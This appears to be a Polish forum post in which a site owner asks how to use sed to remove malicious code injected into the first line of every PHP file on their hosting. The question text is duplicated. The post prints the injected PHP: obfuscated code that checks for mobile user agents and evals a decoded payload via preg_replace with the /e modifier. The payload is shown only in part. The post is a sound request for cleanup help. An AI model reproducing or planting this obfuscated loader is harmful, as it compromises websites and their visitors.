[bash + sed] Usunięcie fragmentu lini wedle wzorca
: 11 grudnia 2014, 14:30
Witam,
Na moim hostingu pojawił się wirus, który dopisuje do każdej pierwszej lini pliku php jakieś dziadostwo. Po wielkim odchudzeniu wygląda ono (to dziadostwo) mniej więcej tak:
i tu teraz długi ciąg znaków, który kończy się:
Całość dodawana jest do piwerszej lini w pliku, przed zawartością oryginalną. Ponieważ mam tam ogromną ilość plików php, w grę wchodzi tylko skrypt.
Chciałym wymazać to dziadostwo za pomocą sed'a. To co udało mi się do tej pory, to wsadzić w komentarz tego wirusa. Jest to jakieś rozwiązanie, ale ja wolałbym usunąć wszystko z pierwszej lini, oprócz tego co było. I nad tym już sporo się głowię. Wsadzanie tego długiego ciągu znaków we wzorzec jest utrudnione, bo występują w nim różne znaki kluczowe, typu: ', ". Pomyślałem, że najlepiej będzie zrobić coś ten deseń:
usuń dwa wystąpienia w pierwszej lini tego co zawiera się między <?php a ?>.
Założenia:
1) Kod dopisuje się zawsze do pierwszej lini przed zawartością oryginalną
2) Kod zawsze jest ten sam
3) Kod składa się z dwóch segmentów php, tzn: <?php segment1 ?><?php segment2 ?>
Jakieś sugestie dotyczące sposobu wycięcia tego robactwa z pierwszej lini za pomocą sed'a lub inaczej?
Na moim hostingu pojawił się wirus, który dopisuje do każdej pierwszej lini pliku php jakieś dziadostwo. Po wielkim odchudzeniu wygląda ono (to dziadostwo) mniej więcej tak:
Kod: Zaznacz cały
<?php foreach(explode("\x7c","\x6d\163\x69\145|\162\x76\72\x31\61|\141\x6e\144\x72\157\x69\144|\155\x6f\142\x69\154\x65\174\x69\160\x68\157\x6e\145|\151\x70\141\x64\174\x6f\160\x65\162\x61\40\x6d") as $lkl => $ljl) {if (strpos(strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]), $ljl) !== false) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $qcknpqaaai = '7]y86]267]
Kod: Zaznacz cały
25c*W%x5c/(.*)/epreg_replaceoihxeekxtg'; $zkhhmosswf = explode(chr((292-248)),'5028,33,8354,37,9659,48,9544,50,715,57,6470,28,6147,21,140,26,6805,35,384,30,1757,61,2692,48,5644,64,1858,43,8751,54,2634,38,8040,49,4167,65,5287,29,9379,54,5394,60,166,49,772,53,5897,54,7489,68,2497,45,601,54,4344,22,1268,35,7271,54,5203,49,3087,49,3511,44,7421,68,6405,65,9707,58,6879,47,4232,62,7119,23,8391,39,9092,46,6200,49,3706,27,8805,69,9878,48,8966,52,1554,47,4066,54,3768,36,4745,58,2542,58,7393,28,4120,22,6540,55,5605,39,1385,52,5996,20,9267,44,1437,65,7229,42,4386,23,7351,42,79,61,2089,69,3960,49,7900,32,1901,28,8493,52,6079,68,1698,59,845,45,825,20,9515,29,6595,60,7646,60,564,37,4320,24,3175,36,1011,20,3660,46,414,61,3021,66,6498,42,3555,62,1303,45,4724,21,9485,30,10004,37,4409,42,2672,20,970,41,2034,55,5741,40,3297,31,4451,20,8874,66,7203,26,2268,50,6168,32,7796,61,4294,26,5104,40,7932,59,2978,43,5832,65,281,44,3891,28,9838,40,4366,20,9138,35,6926,36,1929,50,3136,39,1818,40,5454,37,5781,51,3617,43,7079,40,8667,39,2926,52,2853,52,9359,20,2783,28,3328,24,3352,35,1664,34,534,30,8430,24,5708,33,8089,36,59,20,6249,64,5552,33,7325,26,4662,62,9214,53,5585,20,3455,56,2359,25,6016,63,2740,43,0,59,6840,39,6736,69,6962,60,2384,59,9433,52,3733,35,4590,34,5144,59,6655,43,2600,34,890,21,6698,38,5363,31,8545,38,1979,55,7752,44,5316,47,1084,40,4844,51,1502,27,5951,45,9018,33,4142,25,8940,26,1179,55,3919,41,9594,65,1529,25,7991,49,7579,24,2217,51,8615,52,7142,32,10041,65,4009,57,3272,25,4963,65,5252,35,1124,55,9051,41,7857,43,8243,55,9973,31,2811,42,6313,39,8150,31,1601,63,5491,32,2905,21,4803,41,9765,24,9814,24,1348,37,9789,25,8583,32,2158,59,2318,41,7603,43,6352,53,5523,29,475,27,1234,34,8454,39,8706,45,7022,57,4471,55,3387,68,9173,41,655,60,7706,46,5061,43,3804,29,4526,64,502,32,4895,68,7174,29,215,66,8181,62,4624,38,1031,53,3833,58,7557,22,8125,25,8298,56,911,59,2443,54,3211,61,9311,48,325,59,9926,47'); $htaaqpdtah=substr($qcknpqaaai,(67545-57439),(48-41)); if (!function_exists('ipivutikvk')) { function ipivutikvk($uvsbpxbash, $rwycbvmrss) { $odrbowravy = NULL; for($dobrrgnqbm=0;$dobrrgnqbm<(sizeof($uvsbpxbash)/2);$dobrrgnqbm++) { $odrbowravy .= substr($rwycbvmrss, $uvsbpxbash[($dobrrgnqbm*2)],$uvsbpxbash[($dobrrgnqbm*2)+1]); } return $odrbowravy; };} $xtimkrshiv="\x20\57\x2a\40\x71\143\x6c\172\x76\154\x61\171\x72\172\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x39\55\x31\70\x32\51\x29\54\x20\143\x68\162\x28\50\x36\62\x39\55\x35\63\x37\51\x29\54\x20\151\x70\151\x76\165\x74\151\x6b\166\x6b\50\x24\172\x6b\150\x68\155\x6f\163\x73\167\x66\54\x24\161\x63\153\x6e\160\x71\141\x61\141\x69\51\x29\51\x3b\40\x2f\52\x20\144\x6e\156\x78\146\x72\142\x62\141\x72\40\x2a\57\x20"; $ksevhyiwyr=substr($qcknpqaaai,(40604-30491),(49-37)); $ksevhyiwyr($htaaqpdtah, $xtimkrshiv, NULL); $ksevhyiwyr=$xtimkrshiv; $ksevhyiwyr=(699-578); $qcknpqaaai=$ksevhyiwyr-1; ?>
Chciałym wymazać to dziadostwo za pomocą sed'a. To co udało mi się do tej pory, to wsadzić w komentarz tego wirusa. Jest to jakieś rozwiązanie, ale ja wolałbym usunąć wszystko z pierwszej lini, oprócz tego co było. I nad tym już sporo się głowię. Wsadzanie tego długiego ciągu znaków we wzorzec jest utrudnione, bo występują w nim różne znaki kluczowe, typu: ', ". Pomyślałem, że najlepiej będzie zrobić coś ten deseń:
usuń dwa wystąpienia w pierwszej lini tego co zawiera się między <?php a ?>.
Założenia:
1) Kod dopisuje się zawsze do pierwszej lini przed zawartością oryginalną
2) Kod zawsze jest ten sam
3) Kod składa się z dwóch segmentów php, tzn: <?php segment1 ?><?php segment2 ?>
Jakieś sugestie dotyczące sposobu wycięcia tego robactwa z pierwszej lini za pomocą sed'a lub inaczej?